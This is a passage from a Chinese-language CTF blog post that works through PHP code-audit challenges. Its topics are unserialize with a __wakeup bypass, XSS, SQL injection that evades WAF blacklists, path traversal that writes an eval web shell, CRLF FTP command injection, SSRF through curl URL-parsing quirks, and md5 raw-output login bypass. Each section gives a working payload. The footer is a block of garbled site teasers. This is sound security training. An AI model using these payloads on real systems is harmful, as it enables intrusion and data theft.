       }
   }

   function loadData($data) {
       if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) {
           return unserialize($data);
       }
       return [];
   }
 
   function __die($msg) {
       $this->__close();
       header("Content-Type: application/json");
       die( json_encode( array("msg"=> $msg) ) );
   }

   function __close() {
       mysql_close($this->conn);
   }

   function source() {
       highlight_file(__FILE__);
   }

   function __destruct() {
       $this->__conn();
       if (in_array($this->method, array("login", "source"))) {
           @call_user_func_array(array($this, $this->method), $this->args);
       }
       else {
           $this->__die("What do you do?");
       }
       $this->__close();
   }

   function __wakeup() {
       foreach($this->args as $k => $v) {
           $this->args[$k] = strtolower(trim(mysql_escape_string($v)));
       }
   }
}
class SoFun{
   public $file='index.php';

   function __destruct(){
       if(!empty($this->file)) {
           include $this->file;
       }
   }
   function __wakeup(){
       $this-> file='index.php';
   }
}
if(isset($_GET["data"])) {
   @unserialize($_GET["data"]);
}
else {
   new HITCON("source", array());
}

?>
//config.php
<?php
    $db_host = 'localhost';
    $db_name = 'test';
    $db_user = 'root';
    $db_pass = '123';
    $DEBUG = 'xx';
?>
// flag.php
<?php
!defined('IN_FLAG') && exit('Access Denied');
echo "flag{un3eri@liz3_i3_s0_fun}";

?>

先從簡(jiǎn)單的看起,首先是SoFun類品山。顯然繞過(guò)wakeup即可include可控?cái)?shù)據(jù)flag.php胆建。但是需要注意flag.php限制了必須defined('IN_FLAG')

注意到HITCON類則有一個(gè)跟前面例子一樣的loaddata肘交。那就可以用相同方法繞過(guò)執(zhí)行反序列化笆载。

HITCON類login方法顯然存在sql注入,且loaddata就是在這里被調(diào)用的。那么我們需要讓loaddata傳入的數(shù)據(jù)為SoFun類的文件包含序列化數(shù)據(jù)涯呻。
而這一數(shù)據(jù)來(lái)自$obj->role.

$obj是sql語(yǔ)句的返回結(jié)果凉驻。而sql表結(jié)構(gòu)中第三個(gè)字段role正是我們需要的。那么只要利用這個(gè)sql注入進(jìn)行union查詢就達(dá)成$obj->role可控魄懂。

由于析構(gòu)函數(shù)中可以控制我們調(diào)用的方法及參數(shù)沿侈。所以以上思路可以執(zhí)行。

最后注意的是市栗。HITCON類的wakeup會(huì)對(duì)sql語(yǔ)句進(jìn)行轉(zhuǎn)義缀拭。所以我們用同樣的方法繞過(guò)wakeup即可

O:6:"HITCON":3:{s:6:"method";s:5:"login";s:4:"args";a:2:{s:8:"username";s:81:"1' union select 1,2,'a:1:{s:2:"xx";O:%2b5:"SoFun":2:{s:4:"file";s:8:"flag.php";}}'%23";s:8:"password";s:3:"234";}}

Day12

htmlentities()處理不全

這里的代碼存在一個(gè)xss攻擊.
輸出點(diǎn)在一個(gè)a標(biāo)簽。同時(shí)輸出時(shí)經(jīng)過(guò)了一次htmlentities.不過(guò)這個(gè)函數(shù)htmlentities()并不能轉(zhuǎn)換所有的特殊字符填帽,是轉(zhuǎn)換除了空格之外的特殊字符蛛淋,且單引號(hào)和雙引號(hào)需要單獨(dú)控制
此處默認(rèn)值的話是不會(huì)轉(zhuǎn)義單引號(hào)的。
同時(shí)前面在變量覆蓋時(shí)傳入的變量只對(duì)$value 進(jìn)行類型轉(zhuǎn)換篡腌,強(qiáng)制變成int類型褐荷。但是這部分代碼只處理了 $value 變量,沒(méi)針對(duì) $key 變量進(jìn)行處理

所以payload是
/?a'onclick%3dalert(1)%2f%2f=c
繞過(guò)intval的同時(shí)執(zhí)行了a標(biāo)簽的onclik事件,達(dá)成xss.

練習(xí)

<?php
require 'db.inc.php';

if(isset($_REQUEST['username'])){
    if(preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['username'])){
        die("Attack detected!!!");
    }
}

if(isset($_REQUEST['password'])){
    if(preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['password'])){
        die("Attack detected!!!");
    }
}

function clean($str){
    if(get_magic_quotes_gpc()){
        $str=stripslashes($str);
    }
    return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);


$query='SELECT * FROM ctf.users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';

#echo $query;

$result=mysql_query($query);
while($row = mysql_fetch_array($result))
{
    echo "<tr>";
    echo "<td>" . $row['name'] . "</td>";
    echo "</tr>";
}

?>

這里首先要達(dá)成sql注入,自然比較關(guān)心是否能閉合單引號(hào)嘹悼。但是注意到,此處的htmlentities嚴(yán)格轉(zhuǎn)義了單雙引號(hào)叛甫。不能進(jìn)行閉合层宫。

但是不用引號(hào)閉合的另外的辦法就是非常常見(jiàn)的\進(jìn)行轉(zhuǎn)義。這樣password的值就變成可控的注入位置了其监。

接下來(lái)比較關(guān)心的是代碼中對(duì)username與password關(guān)鍵字的過(guò)濾萌腿。這里過(guò)濾很簡(jiǎn)單,其他盲注之類的方法當(dāng)然可以做到。不過(guò)這里可以用到一個(gè)容易被忘記的小技巧:

php.ini中默認(rèn)
如果以 POST 抖苦、 GET 方式傳入相同的變量毁菱,那么用 REQUEST 獲取該變量的值將為 POST 該變量的值

所以post數(shù)據(jù)會(huì)覆蓋掉get的數(shù)據(jù)。我們用post傳正常的payload锌历、再用get執(zhí)行sql語(yǔ)句即可

get:username=\&password=union select 1,flag,3,4 from ctf.users%23

post: username=1&password=2

Day13

waf失效進(jìn)行sql注入

本題顯然代碼中存在sql語(yǔ)句拼接贮庞。但是只有一個(gè)addslashes,除非是二次注入否則不能利用。
然而代碼中卻出現(xiàn)了很弱智的檢查substr(),其長(zhǎng)度被定死為20.那么我們只要卡在這個(gè)點(diǎn)使用單引號(hào)就能導(dǎo)致轉(zhuǎn)義失效了

user=1234567890123456789'&passwd=or 1=1#

在某CMS中,對(duì)sql語(yǔ)句進(jìn)行了htmlentites處理究西。但是同時(shí)數(shù)據(jù)在傳入前會(huì)進(jìn)行一次urldecode窗慎。我們知道,在waf檢測(cè)后再進(jìn)行解碼操作無(wú)疑是具有危害性的。(比如json_deocde如果在waf檢測(cè)之后的話,就能用unicode繞過(guò)任意字符waf)

練習(xí)

//index.php
<?php
require 'db.inc.php';
  function dhtmlspecialchars($string) {
      if (is_array($string)) {
          foreach ($string as $key => $val) {
              $string[$key] = dhtmlspecialchars($val);
          }
      }
      else {
          $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
          if (strpos($string, '&amp;#') !== false) {
              $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
          }
      }
      return $string;
  }
  function dowith_sql($str) {
      $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
      if ($check) {
          echo "非法字符!";
          exit();
      }
      return $str;
  }
  // 經(jīng)過(guò)第一個(gè)waf處理
  foreach ($_REQUEST as $key => $value) {
      $_REQUEST[$key] = dowith_sql($value);
  }
  // 經(jīng)過(guò)第二個(gè)WAF處理
  $request_uri = explode("?", $_SERVER['REQUEST_URI']);
  if (isset($request_uri[1])) {
      $rewrite_url = explode("&", $request_uri[1]);
      foreach ($rewrite_url as $key => $value) {
          $_value = explode("=", $value);
          if (isset($_value[1])) {
              $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
          }
      }
  }
  // 業(yè)務(wù)處理
  if (isset($_REQUEST['submit'])) {
      $user_id = $_REQUEST['i_d'];
      $sql = "select * from ctf.users where id=$user_id";
      $result=mysql_query($sql);
      while($row = mysql_fetch_array($result))
      {
          echo "<tr>";
          echo "<td>" . $row['name'] . "</td>";
          echo "</tr>";
      }
  }
?>

這個(gè)練習(xí)很有營(yíng)養(yǎng)怔揩。用到了幾個(gè)php的特性
1.傳入的非法的 $_GET 數(shù)組參數(shù)名,PHP會(huì)將他們替換成下劃線
2.傳入多個(gè)相同參數(shù)時(shí),php只會(huì)接受最后一個(gè)(類似js了)
3.$_SERVER['REQUEST_URI']方式獲得的參數(shù)捉邢,并不會(huì)對(duì)參數(shù)中的某些特殊字符進(jìn)行替換

本題代碼中,$_REQUEST的數(shù)據(jù)會(huì)經(jīng)過(guò)dowith_sql處理。而之后第二個(gè)waf會(huì)對(duì)$_SERVER['REQUEST_URI']進(jìn)行dhtmlspecialchars()處理.

那么此處思路如下,使用payload
i_d=padyload&i.d=123
經(jīng)過(guò)第一次waf時(shí)商膊,php會(huì)將參數(shù)中的某些特殊符號(hào)替換為下劃線伏伐。因此便得到了兩個(gè)i_d,其中不含惡意代碼的i_d內(nèi)容通過(guò)檢查。
經(jīng)過(guò)第二次waf時(shí),由于代碼是通過(guò) $_SERVER['REQUEST_URI'] 取參數(shù).檢查的實(shí)際上是我們初始傳入的payload晕拆。這里由于是數(shù)值型注入,所以可以直接union得到flag

payload

submit=&i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=123

Day14

變量覆蓋+路徑穿越

這里的代碼在析構(gòu)函數(shù)里有寫文件的方法藐翎。因此只要id可控就能控制路徑。同時(shí)看到構(gòu)造函數(shù)里存在變量覆蓋实幕,那么利用起來(lái)就不難了吝镣。
payload

id=../var/www/html/shell.php&shell=',)%0a<?=eval($_REQUEST[byc]);?>//

因?yàn)閷?shí)際上寫入的內(nèi)容是:

array(
    'id'=>'../var/www/html/shell.php',
    'lost'=>0,
    'bought'=>0,
    'shell'=>'\',)
    <?=eval($_REQUEST[byc]);?>//',
)

所以需要先閉合,換行后寫shell注釋即可。

某CMS中也出現(xiàn)了類似的變量覆蓋漏洞昆庇。比如需要admin權(quán)限,而admin權(quán)限是由session數(shù)組的值決定的末贾。因此可以直接_SESSION[duomi_group_]=1&_SESSION[duomi_admin_]=1覆蓋。
當(dāng)然,前提是當(dāng)前的php開啟了session_start()

Day15

PHP_SELF

關(guān)于$_SERVER['PHP']:
PHP_SELF指當(dāng)前的頁(yè)面絕對(duì)地址,它是可以控制的.

同時(shí)代碼中調(diào)用了一次urldecode,加上瀏覽器自帶的一次解碼,就可以通過(guò)二次url編碼進(jìn)行關(guān)鍵字繞過(guò)
http://www.test.com/index.php/http:%252f%252fblog.dyboy.cn?redirect=test&params=test123
此處payload即可達(dá)成302跳轉(zhuǎn)

PHP_SELF這個(gè)考點(diǎn)之前zer0pts的題目中也有出現(xiàn)過(guò)

練習(xí)

// index.php
<?php 
include "./config.php";
include "./flag.php";
error_reporting(0);

$black_list = "/admin|guest|limit|by|substr|mid|like|or|char|union|select|greatest|%00|\'|";
$black_list .= "=|_| |in|<|>|-|chal|_|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
if(preg_match($black_list, $_GET['user'])) exit(":P"); 
if(preg_match($black_list, $_GET['pwd'])) exit(":P"); 

$query="select user from users where user='$_GET[user]' and pwd='$_GET[pwd]'";
echo "<h1>query : <strong><b>{$query}</b></strong><br></h1>";
$result = $conn->query($query);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    if($row['user']) echo "<h2>Welcome {$row['user']}</h2>";
}

$result = $conn->query("select pwd from users where user='admin'");
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    $admin_pass = $row['pwd'];
}

if(($admin_pass)&&($admin_pass === $_GET['pwd'])){
    echo $flag;
}
highlight_file(__FILE__);
?>

沒(méi)啥意思...跟之前校賽的套路題一樣的整吆。regexp進(jìn)行注入;%00來(lái)注釋拱撵。

Day16

$_REQUEST

本題主要是一個(gè)$_REQUEST的例子。從題目邏輯上看,首先可以知道是進(jìn)行了一次ftp的連接,同時(shí)用intval來(lái)試圖處理我們的輸入表蝙∷┎猓看似無(wú)法繞過(guò)。但是實(shí)際輸出下就會(huì)發(fā)現(xiàn)有蹊蹺: $_REQUEST的內(nèi)容不受過(guò)濾函數(shù)影響府蛇。所以雖然$_REQUEST 內(nèi)容是上述三個(gè)全局變量的合集,但實(shí)際上是不會(huì)受影響的集索。

payload

?mode=1%0a%0dDELETE%20test.file

1可以達(dá)成mode的判斷。而后續(xù)的數(shù)據(jù)通過(guò)crlf被當(dāng)做命令執(zhí)行。刪除了文件务荆。

因此,需要注意$_REQUEST的使用妆距。假如只對(duì)GET,POST,COOKIE三種進(jìn)行過(guò)濾卻在代碼中拼接REQUEST是不可取的。

練習(xí)

// index.php
<?php
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result){
        die('url fomat error1');
    }
    try{
        $url_parse=parse_url($url);
    }
    catch(Exception $e){
        die('url fomat error2');
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16 || ip2long('0.0.0.0')>>24 == $int_ip>>24;
}

function safe_request_url($url)
{
    if (check_inner_ip($url)){
        echo $url.' is inner ip';
    }
    else{
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url']){
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }
}

$url = $_POST['url'];
if(!empty($url)){
    safe_request_url($url);
}
else{
    highlight_file(__file__);
}
//flag in flag.php 

?>
// flag.php
<?php
if (! function_exists('real_ip') ) {
    function real_ip()
    {
        $ip = $_SERVER['REMOTE_ADDR'];
        if (is_null($ip) && isset($_SERVER['HTTP_X_FORWARDED_FOR']) && preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
            foreach ($matches[0] AS $xip) {
                if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
                    $ip = $xip;
                    break;
                }
            }
        } elseif (is_null($ip) && isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
            $ip = $_SERVER['HTTP_CLIENT_IP'];
        } elseif (is_null($ip) && isset($_SERVER['HTTP_CF_CONNECTING_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CF_CONNECTING_IP'])) {
            $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
        } elseif (is_null($ip) && isset($_SERVER['HTTP_X_REAL_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_X_REAL_IP'])) {
            $ip = $_SERVER['HTTP_X_REAL_IP'];
        }
        return $ip;
    }
}
$rip = real_ip();
if($rip === "127.0.0.1")
    die("HRCTF{SSRF_can_give_you_flag}");
else
    die("You IP is {$rip} not 127.0.0.1");
?>

這個(gè)應(yīng)該就是當(dāng)初郁師傅經(jīng)典ssrf的原型了函匕。要求從內(nèi)網(wǎng)ip 127.0.0.1訪問(wèn)flag.php才能得到flag.使用的自然是當(dāng)初blackhatpdf中分享的關(guān)于php及curl間對(duì)url解析的差異

url=http://foo@localhost:80@www.bycsec.top/flag.php

libcurl認(rèn)第一個(gè)@后的作為host毅厚。php及其他語(yǔ)言都認(rèn)最后一個(gè)@后的作為host.所以前面繞過(guò)內(nèi)網(wǎng)ip限制。在后面成功執(zhí)行了curl

Day17

md5 raw_output = true

這其實(shí)是一個(gè)很經(jīng)典的漏洞 => 如果提到 ffifdyop應(yīng)該就很熟悉了浦箱。傳說(shuō)中的萬(wàn)能密碼繞過(guò)。 而之所以存在這個(gè)繞過(guò)的原因是md5這個(gè)函數(shù)第二個(gè)選項(xiàng)就是raw_output祠锣。默認(rèn)為false酷窥。但是假如設(shè)為true的話MD5報(bào)文摘要將以16字節(jié)長(zhǎng)度的原始二進(jìn)制格式返回。這樣就會(huì)存在一些奇怪的字符伴网。因此 ffifdyop 在經(jīng)過(guò)md5后的內(nèi)容恰好是'or'6\xc9]\x99.符合萬(wàn)能密碼的要求蓬推。

本題也是同樣的道理。addslashes看似不能繞過(guò)澡腾。但是因?yàn)槠唇拥氖莔d5后的pass.所以只要找到一個(gè)數(shù)字md5后的raw內(nèi)容包含\即可沸伏。

payload

user= OR 1=1#&passwd=128

summary

時(shí)隔兩個(gè)月終于又把a(bǔ)uditlabs的坑填完了...... 不得不說(shuō)里面涵蓋的很多php相關(guān)漏洞都是些新手剛剛?cè)腴T平臺(tái)里的那些經(jīng)典題目的原理。當(dāng)初有的半懂不懂动分,現(xiàn)在算是把坑給填上了毅糟。

然后自己最近有些糾結(jié)。原本因?yàn)榻佑|了一些國(guó)際賽后澜公,開始投身nodejs與python相關(guān)的漏洞了姆另。出了幾道題也都只是node跟python.唯一一道php還是sql注入》厍可能自己心里對(duì)php還是談不上喜歡吧迹辐,沒(méi)有鉆研細(xì)節(jié)的勁頭,更沒(méi)有進(jìn)行相關(guān)開發(fā)的想法甚侣。但最近頭一次實(shí)戰(zhàn)發(fā)現(xiàn)php仍舊是網(wǎng)站大頭之一,并且ctf比賽中php還是有著能夠難倒人的絕對(duì)水準(zhǔn)明吩。假如我想要繼續(xù)提升實(shí)力,仍舊得在php下下不少功夫殷费。更何況看框架的洞已經(jīng)算最近的一大樂(lè)趣了233.

所以說(shuō),希望自己還是能花點(diǎn)時(shí)間去多看看php.找時(shí)間練練手印荔。最后能多出幾個(gè)題就好了。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末宗兼,一起剝皮案震驚了整個(gè)濱河市躏鱼,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌殷绍,老刑警劉巖染苛,帶你破解...
    沈念sama閱讀 206,311評(píng)論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡茶行,警方通過(guò)查閱死者的電腦和手機(jī)躯概,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,339評(píng)論 2 382
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)畔师,“玉大人娶靡,你說(shuō)我怎么就攤上這事】达保” “怎么了姿锭?”我有些...
    開封第一講書人閱讀 152,671評(píng)論 0 342
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)伯铣。 經(jīng)常有香客問(wèn)我呻此,道長(zhǎng),這世上最難降的妖魔是什么腔寡? 我笑而不...
    開封第一講書人閱讀 55,252評(píng)論 1 279
  • 正文 為了忘掉前任焚鲜,我火速辦了婚禮,結(jié)果婚禮上放前,老公的妹妹穿的比我還像新娘忿磅。我一直安慰自己,他們只是感情好凭语,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,253評(píng)論 5 371
  • 文/花漫 我一把揭開白布葱她。 她就那樣靜靜地躺著,像睡著了一般叽粹。 火紅的嫁衣襯著肌膚如雪览效。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 49,031評(píng)論 1 285
  • 那天虫几,我揣著相機(jī)與錄音锤灿,去河邊找鬼。 笑死辆脸,一個(gè)胖子當(dāng)著我的面吹牛但校,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播啡氢,決...
    沈念sama閱讀 38,340評(píng)論 3 399
  • 文/蒼蘭香墨 我猛地睜開眼状囱,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了倘是?” 一聲冷哼從身側(cè)響起亭枷,我...
    開封第一講書人閱讀 36,973評(píng)論 0 259
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎搀崭,沒(méi)想到半個(gè)月后叨粘,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體猾编,經(jīng)...
    沈念sama閱讀 43,466評(píng)論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 35,937評(píng)論 2 323
  • 正文 我和宋清朗相戀三年升敲,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了答倡。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 38,039評(píng)論 1 333
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡驴党,死狀恐怖瘪撇,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情港庄,我是刑警寧澤倔既,帶...
    沈念sama閱讀 33,701評(píng)論 4 323
  • 正文 年R本政府宣布,位于F島的核電站鹏氧,受9級(jí)特大地震影響叉存,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜度帮,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,254評(píng)論 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望稿存。 院中可真熱鬧笨篷,春花似錦、人聲如沸瓣履。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,259評(píng)論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)袖迎。三九已至冕臭,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間燕锥,已是汗流浹背辜贵。 一陣腳步聲響...
    開封第一講書人閱讀 31,485評(píng)論 1 262
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留归形,地道東北人托慨。 一個(gè)月前我還...
    沈念sama閱讀 45,497評(píng)論 2 354
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像暇榴,于是被迫代替她去往敵國(guó)和親厚棵。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,786評(píng)論 2 345